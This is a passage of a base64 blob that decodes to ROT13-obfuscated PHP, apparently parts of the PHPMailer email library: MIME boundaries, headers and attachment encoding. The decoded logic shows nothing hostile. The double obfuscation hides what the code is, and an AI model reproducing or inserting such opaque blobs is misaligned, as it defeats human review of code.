ZXZhdCAkcmFwYnF2YXQKICAgICAqIEBlcmdoZWEgZmdldmF0CiAgICAgKi8KICAgIGNlYmdycGdycSBzaGFwZ3ZiYSB0cmdPYmhhcW5lbCgkb2JoYXFuZWwsICRwdW5lRnJnLCAkcGJhZ3JhZ0dsY3IsICRyYXBicXZhdCkKICAgIHsKICAgICAgICAkZXJmaHlnID0gJyc7CiAgICAgICAgdnMgKCRwdW5lRnJnID09ICcnKSB7CiAgICAgICAgICAgICRwdW5lRnJnID0gJGd1dmYtPlB1bmVGcmc7CiAgICAgICAgfQogICAgICAgIHZzICgkcGJhZ3JhZ0dsY3IgPT0gJycpIHsKICAgICAgICAgICAgJHBiYWdyYWdHbGNyID0gJGd1dmYtPlBiYWdyYWdHbGNyOwogICAgICAgIH0KICAgICAgICB2cyAoJHJhcGJxdmF0ID09ICcnKSB7CiAgICAgICAgICAgICRyYXBicXZhdCA9ICRndXZmLT5SYXBicXZhdDsKICAgICAgICB9CiAgICAgICAgJGVyZmh5ZyAuPSAkZ3V2Zi0+Z3JrZ1l2YXIoJy0tJyAuICRvYmhhcW5lbCk7CiAgICAgICAgJGVyZmh5ZyAuPSBmY2V2YWdzKCdQYmFncmFnLUdsY3I6ICVmOyBwdW5lZnJnPSVmJywgJHBiYWdyYWdHbGNyLCAkcHVuZUZyZyk7CiAgICAgICAgJGVyZmh5ZyAuPSAkZ3V2Zi0+WVI7CiAgICAgICAgLy8gRVNQMTM0MSBjbmVnIDUgZm5sZiA3b3ZnIHZmIG5mZmh6cnEgdnMgYWJnIGZjcnB2c3ZycQogICAgICAgIHZzICgkcmFwYnF2YXQgIT0gJzdvdmcnKSB7CiAgICAgICAgICAgICRlcmZoeWcgLj0gJGd1dmYtPnVybnFyZVl2YXIoJ1BiYWdyYWctR2VuYWZzcmUtUmFwYnF2YXQnLCAkcmFwYnF2YXQpOwogICAgICAgIH0KICAgICAgICAkZXJmaHlnIC49ICRndXZmLT5ZUjsKCiAgICAgICAgZXJnaGVhICRlcmZoeWc7CiAgICB9CgogICAgLyoqCiAgICAgKiBFcmdoZWEgZ3VyIHJhcSBicyBuIHpyZmZudHIgb2JoYXFuZWwuCiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICogQGNuZW56IGZnZXZhdCAkb2JoYXFuZWwKICAgICAqIEBlcmdoZWEgZmdldmF0CiAgICAgKi8KICAgIGNlYmdycGdycSBzaGFwZ3ZiYSByYXFPYmhhcW5lbCgkb2JoYXFuZWwpCiAgICB7CiAgICAgICAgZXJnaGVhICRndXZmLT5ZUiAuICctLScgLiAkb2JoYXFuZWwgLiAnLS0nIC4gJGd1dmYtPllSOwogICAgfQoKICAgIC8qKgogICAgICogRnJnIGd1ciB6cmZmbnRyIGdsY3IuCiAgICAgKiBDVUNabnZ5cmUgYmF5bCBmaGNjYmVnZiBmYnpyIGNlcmZyZyB6cmZmbnRyIGdsY3JmLCBhYmcgbmVvdmdlbmVsIFpWWlIgZmdlaHBnaGVyZi4KICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKiBAZXJnaGVhIGlidnEKICAgICAqLwogICAgY2ViZ3JwZ3JxIHNoYXBndmJhIGZyZ1pyZmZudHJHbGNyKCkKICAgIHsKICAgICAgICAkZ2xjciA9IG5lZW5sKCk7CiAgICAgICAgdnMgKCRndXZmLT5ueWdyZWFuZ3ZpclJrdmZnZigpKSB7CiAgICAgICAgICAgICRnbGNyW10gPSAnbnlnJzsKICAgICAgICB9CiAgICAgICAgdnMgKCRndXZmLT52YXl2YXJWem50clJrdmZnZigpKSB7CiAgICAgICAgICAgICRnbGNyW10gPSAndmF5dmFyJzsKICAgICAgICB9CiAgICAgICAgdnMgKCRndXZmLT5uZ2ducHV6cmFnUmt2ZmdmKCkpIHsKICAgICAgICAgICAgJGdsY3JbXSA9ICduZ2ducHUnOwogICAgICAgIH0KICAgICAgICAkZ3V2Zi0+enJmZm50cl9nbGNyID0gdnpjeWJxcignXycsICRnbGNyKTsKICAgICAgICB2cyAoJGd1dmYtPnpyZmZudHJfZ2xjciA9PSAnJykgewogICAgICAgICAgICAvL0d1ciAnY3ludmEnIHpyZmZudHJfZ2xjciBlcnNyZWYgZ2IgZ3VyIHpyZmZudHIgdW5pdmF0IG4gZnZhdHlyIG9icWwgcnlyenJhZywgYWJnIGd1bmcgdmcgdmYgY3ludmEtZ3JrZwogICAgICAgICAgICAkZ3V2Zi0+enJmZm50cl9nbGNyID0gJ2N5bnZhJzsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTYmV6bmcgbiB1cm5xcmUgeXZhci4KICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAY25lbnogZmdldmF0ICRhbnpyCiAgICAgKiBAY25lbnogZmdldmF0ICRpbnlocgogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHVybnFyZVl2YXIoJGFuenIsICRpbnlocikKICAgIHsKICAgICAgICBlcmdoZWEgJGFuenIgLiAnOiAnIC4gJGlueWhyIC4gJGd1dmYtPllSOwogICAgfQoKICAgIC8qKgogICAgICogRXJnaGVhIG4gc2Jlem5nZ3JxIHpudnkgeXZhci4KICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAY25lbnogZmdldmF0ICRpbnlocgogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIGdya2dZdmFyKCRpbnlocikKICAgIHsKICAgICAgICBlcmdoZWEgJGlueWhyIC4gJGd1dmYtPllSOwogICAgfQoKICAgIC8qKgogICAgICogTnFxIG5hIG5nZ25wdXpyYWcgc2VieiBuIGNuZ3UgYmEgZ3VyIHN2eXJmbGZncnouCiAgICAgKiBBcmlyZSBoZnIgbiBoZnJlLWZoY2N5dnJxIGNuZ3UgZ2IgbiBzdnlyIQogICAgICogRXJnaGVhZiBzbnlmciB2cyBndXIgc3Z5ciBwYmh5cSBhYmcgb3Igc2JoYXEgYmUgZXJucS4KICAgICAqIFJrY3l2cHZneWwgKnFicmYgYWJnKiBmaGNjYmVnIGNuZmZ2YXQgSEVZZjsgQ1VDWm52eXJlIHZmIGFiZyBuYSBVR0dDIHB5dnJhZy4KICAgICAqIFZzIGxiaCBhcnJxIGdiIHFiIGd1bmcsIHNyZ3B1IGd1ciBlcmZiaGVwciBsYmhlZnJ5cyBuYXEgY25mZiB2ZyB2YSBpdm4gbiB5YnBueSBzdnlyIGJlIGZnZXZhdC4KICAgICAqIEBjbmVueiBmZ2V2YXQgJGNuZ3UgQ25ndSBnYiBndXIgbmdnbnB1enJhZy4KICAgICAqIEBjbmVueiBmZ2V2YXQgJGFuenIgQmlyZWV2cXJmIGd1ciBuZ2ducHV6cmFnIGFuenIuCiAgICAgKiBAY25lbnogZmdldmF0ICRyYXBicXZhdCBTdnlyIHJhcGJxdmF0IChmcnIgJFJhcGJxdmF0KS4KICAgICAqIEBjbmVueiBmZ2V2YXQgJGdsY3IgU3Z5ciBya2dyYWZ2YmEgKFpWWlIpIGdsY3IuCiAgICAgKiBAY25lbnogZmdldmF0ICRxdmZjYmZ2Z3ZiYSBRdmZjYmZ2Z3ZiYSBnYiBoZnIKICAgICAqIEBndWViamYgY3Vjem52eXJlUmtwcmNndmJhCiAgICAgKiBAZXJnaGVhIG9iYnlybmEKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIG5xcU5nZ25wdXpyYWcoJGNuZ3UsICRhbnpyID0gJycsICRyYXBicXZhdCA9ICdvbmZyNjQnLCAkZ2xjciA9ICcnLCAkcXZmY2Jmdmd2YmEgPSAnbmdnbnB1enJhZycpCiAgICB7CiAgICAgICAgZ2VsIHsKICAgICAgICAgICAgdnMgKCFmcnlzOjp2ZkNyZXp2Z2dycUNuZ3UoJGNuZ3UpIGJlICFAdmZfc3Z5cigkY25ndSkpIHsKICAgICAgICAgICAgICAgIGd1ZWJqIGFyaiBjdWN6bnZ5cmVSa3ByY2d2YmEoJGd1dmYtPnluYXQoJ3N2eXJfbnBwcmZmJykgLiAkY25ndSwgZnJ5czo6RkdCQ19QQkFHVkFIUik7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZzIG4gWlZaUiBnbGNyIHZmIGFiZyBmY3JwdnN2cnEsIGdlbCBnYiBqYmV4IHZnIGJoZyBzZWJ6IGd1ciBzdnlyIGFuenIKICAgICAgICAgICAgdnMgKCRnbGNyID09ICcnKSB7CiAgICAgICAgICAgICAgICAkZ2xjciA9IGZyeXM6OnN2eXJhbnpyR2JHbGNyKCRjbmd1KTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHN2eXJhbnpyID0gb25mcmFuenIoJGNuZ3UpOwogICAgICAgICAgICB2cyAoJGFuenIgPT0gJycpIHsKICAgICAgICAgICAgICAgICRhbnpyID0gJHN2eXJhbnpyOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkZ3V2Zi0+bmdnbnB1enJhZ1tdID0gbmVlbmwoCiAgICAgICAgICAgICAgICAwID0+ICRjbmd1LAogICAgICAgICAgICAgICAgMSA9PiAkc3Z5cmFuenIsCiAgICAgICAgICAgICAgICAyID0+ICRhbnpyLAogICAgICAgICAgICAgICAgMyA9PiAkcmFwYnF2YXQsCiAgICAgICAgICAgICAgICA0ID0+ICRnbGNyLAogICAgICAgICAgICAgICAgNSA9PiBzbnlmciwgLy8gdmZGZ2V2YXROZ2ducHV6cmFnCiAgICAgICAgICAgICAgICA2ID0+ICRxdmZjYmZ2Z3ZiYSwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IHBuZ3B1IChjdWN6bnZ5cmVSa3ByY2d2YmEgJHJrcCkgewogICAgICAgICAgICAkZ3V2Zi0+ZnJnUmVlYmUoJHJrcC0+dHJnWnJmZm50cigpKTsKICAgICAgICAgICAgJGd1dmYtPnJxcm9odCgkcmtwLT50cmdacmZmbnRyKCkpOwogICAgICAgICAgICB2cyAoJGd1dmYtPnJrcHJjZ3ZiYWYpIHsKICAgICAgICAgICAgICAgIGd1ZWJqICRya3A7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZXJnaGVhIHNueWZyOwogICAgICAgIH0KICAgICAgICBlcmdoZWEgZ2VocjsKICAgIH0KCiAgICAvKioKICAgICAqIEVyZ2hlYSBndXIgbmVlbmwgYnMgbmdnbnB1enJhZ2YuCiAgICAgKiBAZXJnaGVhIG5lZW5sCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB0cmdOZ2ducHV6cmFnZigpCiAgICB7CiAgICAgICAgZXJnaGVhICRndXZmLT5uZ2ducHV6cmFnOwogICAgfQoKICAgIC8qKgogICAgICogTmdnbnB1IG55eSBzdnlyLCBmZ2V2YXQsIG5hcSBvdmFuZWwgbmdnbnB1enJhZ2YgZ2IgZ3VyIHpyZmZudHIuCiAgICAgKiBFcmdoZWFmIG5hIHJ6Y2dsIGZnZXZhdCBiYSBzbnZ5aGVyLgogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqIEBjbmVueiBmZ2V2YXQgJHF2ZmNiZnZndmJhX2dsY3IKICAgICAqIEBjbmVueiBmZ2V2YXQgJG9iaGFxbmVsCiAgICAgKiBAZXJnaGVhIGZnZXZhdAogICAgICovCiAgICBjZWJncnBncnEgc2hhcGd2YmEgbmdnbnB1Tnl5KCRxdmZjYmZ2Z3ZiYV9nbGNyLCAkb2JoYXFuZWwpCiAgICB7CiAgICAgICAgLy8gRXJnaGVhIGdya2cgYnMgb2JxbAogICAgICAgICR6dnpyID0gbmVlbmwoKTsKICAgICAgICAkcHZxSGF2ZCA9IG5lZW5sKCk7CiAgICAgICAgJHZhcHkgPSBuZWVubCgpOwoKICAgICAgICAvLyBOcXEgbnl5IG5nZ25wdXpyYWdmCiAgICAgICAgc2Jlcm5wdSAoJGd1dmYtPm5nZ25wdXpyYWcgbmYgJG5nZ25wdXpyYWcpIHsKICAgICAgICAgICAgLy8gUHVycHggdnMgdmcgdmYgbiBpbnl2cSBxdmZjYmZ2Z3ZiYV9zdnlncmUKICAgICAgICAgICAgdnMgKCRuZ2ducHV6cmFnWzZdID09ICRxdmZjYmZ2Z3ZiYV9nbGNyKSB7CiAgICAgICAgICAgICAgICAvLyBQdXJweCBzYmUgZmdldmF0IG5nZ25wdXpyYWcKICAgICAgICAgICAgICAgICRmZ2V2YXQgPSAnJzsKICAgICAgICAgICAgICAgICRjbmd1ID0gJyc7CiAgICAgICAgICAgICAgICAkb0ZnZXZhdCA9ICRuZ2ducHV6cmFnWzVdOwogICAgICAgICAgICAgICAgdnMgKCRvRmdldmF0KSB7CiAgICAgICAgICAgICAgICAgICAgJGZnZXZhdCA9ICRuZ2ducHV6cmFnWzBdOwogICAgICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICAgICAkY25ndSA9ICRuZ2ducHV6cmFnWzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICR2YXB5dW5mdSA9IHpxNShmcmV2bnl2bXIoJG5nZ25wdXpyYWcpKTsKICAgICAgICAgICAgICAgIHZzICh2YV9uZWVubCgkdmFweXVuZnUsICR2YXB5KSkgewogICAgICAgICAgICAgICAgICAgIHBiYWd2YWhyOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHZhcHlbXSA9ICR2YXB5dW5mdTsKICAgICAgICAgICAgICAgICRhbnpyID0gJG5nZ25wdXpyYWdbMl07CiAgICAgICAgICAgICAgICAkcmFwYnF2YXQgPSAkbmdnbnB1enJhZ1szXTsKICAgICAgICAgICAgICAgICRnbGNyID0gJG5nZ25wdXpyYWdbNF07CiAgICAgICAgICAgICAgICAkcXZmY2Jmdmd2YmEgPSAkbmdnbnB1enJhZ1s2XTsKICAgICAgICAgICAgICAgICRwdnEgPSAkbmdnbnB1enJhZ1s3XTsKICAgICAgICAgICAgICAgIHZzICgkcXZmY2Jmdmd2YmEgPT0gJ3ZheXZhcicgJiYgbmVlbmxfeHJsX3JrdmZnZigkcHZxLCAkcHZxSGF2ZCkpIHsKICAgICAgICAgICAgICAgICAgICBwYmFndmFocjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRwdnFIYXZkWyRwdnFdID0gZ2VocjsKCiAgICAgICAgICAgICAgICAkenZ6cltdID0gZmNldmFncygnLS0lZiVmJywgJG9iaGFxbmVsLCAkZ3V2Zi0+WVIpOwogICAgICAgICAgICAgICAgLy9CYXlsIHZhcHlocXIgbiBzdnlyYW56ciBjZWJjcmVnbCB2cyBqciB1bmlyIGJhcgogICAgICAgICAgICAgICAgdnMgKCFyemNnbCgkYW56cikpIHsKICAgICAgICAgICAgICAgICAgICAkenZ6cltdID0gZmNldmFncygKICAgICAgICAgICAgICAgICAgICAgICAgJ1BiYWdyYWctR2xjcjogJWY7IGFuenI9IiVmIiVmJywKICAgICAgICAgICAgICAgICAgICAgICAgJGdsY3IsCiAgICAgICAgICAgICAgICAgICAgICAgICRndXZmLT5yYXBicXJVcm5xcmUoJGd1dmYtPmZycGhlclVybnFyZSgkYW56cikpLAogICAgICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+WVIKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICAgICAkenZ6cltdID0gZmNldmFncygKICAgICAgICAgICAgICAgICAgICAgICAgJ1BiYWdyYWctR2xjcjogJWYlZicsCiAgICAgICAgICAgICAgICAgICAgICAgICRnbGNyLAogICAgICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+WVIKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gRVNQMTM0MSBjbmVnIDUgZm5sZiA3b3ZnIHZmIG5mZmh6cnEgdnMgYWJnIGZjcnB2c3ZycQogICAgICAgICAgICAgICAgdnMgKCRyYXBicXZhdCAhPSAnN292ZycpIHsKICAgICAgICAgICAgICAgICAgICAkenZ6cltdID0gZmNldmFncygnUGJhZ3JhZy1HZW5hZnNyZS1SYXBicXZhdDogJWYlZicsICRyYXBicXZhdCwgJGd1dmYtPllSKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICB2cyAoJHF2ZmNiZnZndmJhID09ICd2YXl2YXInKSB7CiAgICAgICAgICAgICAgICAgICAgJHp2enJbXSA9IGZjZXZhZ3MoJ1BiYWdyYWctVlE6IDwlZj4lZicsICRwdnEsICRndXZmLT5ZUik7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gVnMgbiBzdnlyYW56ciBwYmFnbnZhZiBuYWwgYnMgZ3VyZnIgcHVuZWYsIHZnIGZ1Ymh5cSBvciBkaGJncnEsCiAgICAgICAgICAgICAgICAvLyBvaGcgYWJnIGJndXJlanZmcjogRVNQMjE4MyAmIEVTUDIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBTdmtyZiBuIGpuZWF2YXQgdmEgVlJHUydmIHpmdHl2YWcgWlZaUiBwdXJweHJlCiAgICAgICAgICAgICAgICAvLyBOeXliaiBzYmUgb2xjbmZmdmF0IGd1ciBQYmFncmFnLVF2ZmNiZnZndmJhIHVybnFyZSBnYmdueXlsCiAgICAgICAgICAgICAgICB2cyAoIShyemNnbCgkcXZmY2Jmdmd2YmEpKSkgewogICAgICAgICAgICAgICAgICAgICRyYXBicXJxX2FuenIgPSAkZ3V2Zi0+cmFwYnFyVXJucXJlKCRndXZmLT5mcnBoZXJVcm5xcmUoJGFuenIpKTsKICAgICAgICAgICAgICAgICAgICB2cyAoY2VydF96bmdwdSgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw/PV0vJywgJHJhcGJxcnFfYW56cikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHp2enJbXSA9IGZjZXZhZ3MoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnUGJhZ3JhZy1RdmZjYmZ2Z3ZiYTogJWY7IHN2eXJhbnpyPSIlZiIlZicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcXZmY2Jmdmd2YmEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmFwYnFycV9hbnpyLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGd1dmYtPllSIC4gJGd1dmYtPllSCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICAgICAgICAgdnMgKCFyemNnbCgkcmFwYnFycV9hbnpyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHp2enJbXSA9IGZjZXZhZ3MoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1BiYWdyYWctUXZmY2Jmdmd2YmE6ICVmOyBzdnlyYW56cj0lZiVmJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcXZmY2Jmdmd2YmEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJhcGJxcnFfYW56ciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZ3V2Zi0+WVIgLiAkZ3V2Zi0+WVIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkenZ6cltdID0gZmNldmFncygKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnUGJhZ3JhZy1RdmZjYmZ2Z3ZiYTogJWYlZicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHF2ZmNiZnZndmJhLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRndXZmLT5ZUiAuICRndXZmLT5ZUgogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgJHp2enJbXSA9ICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBSYXBicXIgbmYgZmdldmF0IG5nZ25wdXpyYWcKICAgICAgICAgICAgICAgIHZzICgkb0ZnZXZhdCkgewogICAgICAgICAgICAgICAgICAgICR6dnpyW10gPSAkZ3V2Zi0+cmFwYnFyRmdldmF0KCRmZ2V2YXQsICRyYXBicXZhdCk7CiAgICAgICAgICAgICAgICAgICAgdnMgKCRndXZmLT52ZlJlZWJlKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZXJnaGVhICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkenZ6cltdID0gJGd1dmYtPllSIC4gJGd1dmYtPllSOwogICAgICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICAgICAkenZ6cltdID0gJGd1dmYtPnJhcGJxclN2eXIoJGNuZ3UsICRyYXBicXZhdCk7CiAgICAgICAgICAgICAgICAgICAgdnMgKCRndXZmLT52ZlJlZWJlKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZXJnaGVhICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkenZ6cltdID0gJGd1dmYtPllSIC4gJGd1dmYtPllSOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkenZ6cltdID0gZmNldmFncygnLS0lZi0tJWYnLCAkb2JoYXFuZWwsICRndXZmLT5ZUik7CgogICAgICAgIGVyZ2hlYSB2emN5YnFyKCcnLCAkenZ6cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBSYXBicXIgbiBzdnlyIG5nZ25wdXpyYWcgdmEgZXJkaHJmZ3JxIHNiZXpuZy4KICAgICAqIEVyZ2hlYWYgbmEgcnpjZ2wgZmdldmF0IGJhIHNudnloZXIuCiAgICAgKiBAY25lbnogZmdldmF0ICRjbmd1IEd1ciBzaHl5IGNuZ3UgZ2IgZ3VyIHN2eXIKICAgICAqIEBjbmVueiBmZ2V2YXQgJHJhcGJxdmF0IEd1ciByYXBicXZhdCBnYiBoZnI7IGJhciBicyAnb25mcjY0JywgJzdvdmcnLCAnOG92ZycsICdvdmFuZWwnLCAnZGhiZ3JxLWNldmFnbm95cicKICAgICAqIEBndWViamYgY3Vjem52eXJlUmtwcmNndmJhCiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2ViZ3JwZ3JxIHNoYXBndmJhIHJhcGJxclN2eXIoJGNuZ3UsICRyYXBicXZhdCA9ICdvbmZyNjQnKQogICAgewogICAgICAgIGdlbCB7CiAgICAgICAgICAgIHZzICghZnJ5czo6dmZDcmV6dmdncnFDbmd1KCRjbmd1KSBiZSAhc3Z5cl9ya3ZmZ2YoJGNuZ3UpKSB7CiAgICAgICAgICAgICAgICBndWViaiBhcmogY3Vjem52eXJlUmtwcmNndmJhKCRndXZmLT55bmF0KCdzdnlyX2JjcmEnKSAuICRjbmd1LCBmcnlzOjpGR0JDX1BCQUdWQUhSKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkem50dnBfZGhiZ3JmID0gc255ZnI7CiAgICAgICAgICAgIHZzKCBpcmVmdmJhX3BiemNuZXIoQ1VDX0lSRUZWQkEsICc3LjQuMCcsICc8JykgKSB7CiAgICAgICAgICAgICAgICAkem50dnBfZGhiZ3JmID0gdHJnX3pudHZwX2RoYmdyZl9laGFndnpyKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgdnMgKCR6bnR2cF9kaGJncmYpIHsKICAgICAgICAgICAgICAgIHZzIChpcmVmdmJhX3BiemNuZXIoQ1VDX0lSRUZWQkEsICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBmcmdfem50dnBfZGhiZ3JmX2VoYWd2enIoc255ZnIpOwogICAgICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICAgICAvL1FicmZhJ2cgcmt2ZmcgdmEgQ1VDIDUuNCwgb2hnIGpyIHFiYSdnIGFycnEgZ2IgcHVycHggb3JwbmhmcgogICAgICAgICAgICAgICAgICAgIC8vdHJnX3pudHZwX2RoYmdyZl9laGFndnpyIG55am5sZiBlcmdoZWFmIHNueWZyIHZhIDUuNCsKICAgICAgICAgICAgICAgICAgICAvL2ZiIHZnIGp2eXkgYXJpcmUgdHJnIHVyZXIKICAgICAgICAgICAgICAgICAgICB2YXZfZnJnKCd6bnR2cF9kaGJncmZfZWhhZ3Z6cicsIHNueWZyKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkc3Z5cl9vaHNzcmUgPSBzdnlyX3RyZ19wYmFncmFnZigkY25ndSk7CiAgICAgICAgICAgICRzdnlyX29oc3NyZSA9ICRndXZmLT5yYXBicXJGZ2V2YXQoJHN2eXJfb2hzc3JlLCAkcmFwYnF2YXQpOwogICAgICAgICAgICB2cyAoJHpudHZwX2RoYmdyZikgewogICAgICAgICAgICAgICAgdnMgKGlyZWZ2YmFfcGJ6Y25lcihDVUNfSVJFRlZCQSwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIGZyZ196bnR2cF9kaGJncmZfZWhhZ3Z6cigkem50dnBfZGhiZ3JmKTsKICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgdmF2X2ZyZygnem50dnBfZGhiZ3JmX2VoYWd2enInLCAkem50dnBfZGhiZ3JmKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlcmdoZWEgJHN2eXJfb2hzc3JlOwogICAgICAgIH0gcG5ncHUgKFJrcHJjZ3ZiYSAkcmtwKSB7CiAgICAgICAgICAgICRndXZmLT5mcmdSZWViZSgkcmtwLT50cmdacmZmbnRyKCkpOwogICAgICAgICAgICBlcmdoZWEgJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmFwYnFyIG4gZmdldmF0IHZhIGVyZGhyZmdycSBzYmV6bmcuCiAgICAgKiBFcmdoZWFmIG5hIHJ6Y2dsIGZnZXZhdCBiYSBzbnZ5aGVyLgogICAgICogQGNuZW56IGZnZXZhdCAkZmdlIEd1ciBncmtnIGdiIHJhcGJxcgogICAgICogQGNuZW56IGZnZXZhdCAkcmFwYnF2YXQgR3VyIHJhcGJxdmF0IGdiIGhmcjsgYmFyIGJzICdvbmZyNjQnLCAnN292ZycsICc4b3ZnJywgJ292YW5lbCcsICdkaGJncnEtY2V2YWdub3lyJwogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBlcmdoZWEgZmdldmF0CiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSByYXBicXJGZ2V2YXQoJGZnZSwgJHJhcGJxdmF0ID0gJ29uZnI2NCcpCiAgICB7CiAgICAgICAgJHJhcGJxcnEgPSAnJzsKICAgICAgICBmanZncHUgKGZnZWdieWJqcmUoJHJhcGJxdmF0KSkgewogICAgICAgICAgICBwbmZyICdvbmZyNjQnOgogICAgICAgICAgICAgICAgJHJhcGJxcnEgPSBwdWhheF9mY3l2ZyhvbmZyNjRfcmFwYnFyKCRmZ2UpLCA3NiwgJGd1dmYtPllSKTsKICAgICAgICAgICAgICAgIG9lcm54OwogICAgICAgICAgICBwbmZyICc3b3ZnJzoKICAgICAgICAgICAgcG5mciAnOG92Zyc6CiAgICAgICAgICAgICAgICAkcmFwYnFycSA9ICRndXZmLT5zdmtSQlkoJGZnZSk7CiAgICAgICAgICAgICAgICAvLyBabnhyIGZoZXIgdmcgcmFxZiBqdmd1IG4geXZhciBvZXJueAogICAgICAgICAgICAgICAgdnMgKGZob2ZnZSgkcmFwYnFycSwgLShmZ2V5cmEoJGd1dmYtPllSKSkpICE9ICRndXZmLT5ZUikgewogICAgICAgICAgICAgICAgICAgICRyYXBicXJxIC49ICRndXZmLT5ZUjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIG9lcm54OwogICAgICAgICAgICBwbmZyICdvdmFuZWwnOgogICAgICAgICAgICAgICAgJHJhcGJxcnEgPSAkZmdlOwogICAgICAgICAgICAgICAgb2Vybng7CiAgICAgICAgICAgIHBuZnIgJ2RoYmdycS1jZXZhZ25veXInOgogICAgICAgICAgICAgICAgJHJhcGJxcnEgPSAkZ3V2Zi0+cmFwYnFyREMoJGZnZSk7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICAgICAgcXJzbmh5ZzoKICAgICAgICAgICAgICAgICRndXZmLT5mcmdSZWViZSgkZ3V2Zi0+eW5hdCgncmFwYnF2YXQnKSAuICRyYXBicXZhdCk7CiAgICAgICAgICAgICAgICBvZXJueDsKICAgICAgICB9CiAgICAgICAgZXJnaGVhICRyYXBicXJxOwogICAgfQoKICAgIC8qKgogICAgICogUmFwYnFyIG4gdXJucXJlIGZnZXZhdCBiY2d2em55eWwuCiAgICAgKiBDdnB4ZiBmdWJlZ3JmZyBicyBELCBPLCBkaGJncnEtY2V2YWdub3lyIGJlIGFiYXIuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGNuZW56IGZnZXZhdCAkZmdlCiAgICAgKiBAY25lbnogZmdldmF0ICRjYmZ2Z3ZiYQogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHJhcGJxclVybnFyZSgkZmdlLCAkY2Jmdmd2YmEgPSAnZ3JrZycpCiAgICB7CiAgICAgICAgJHp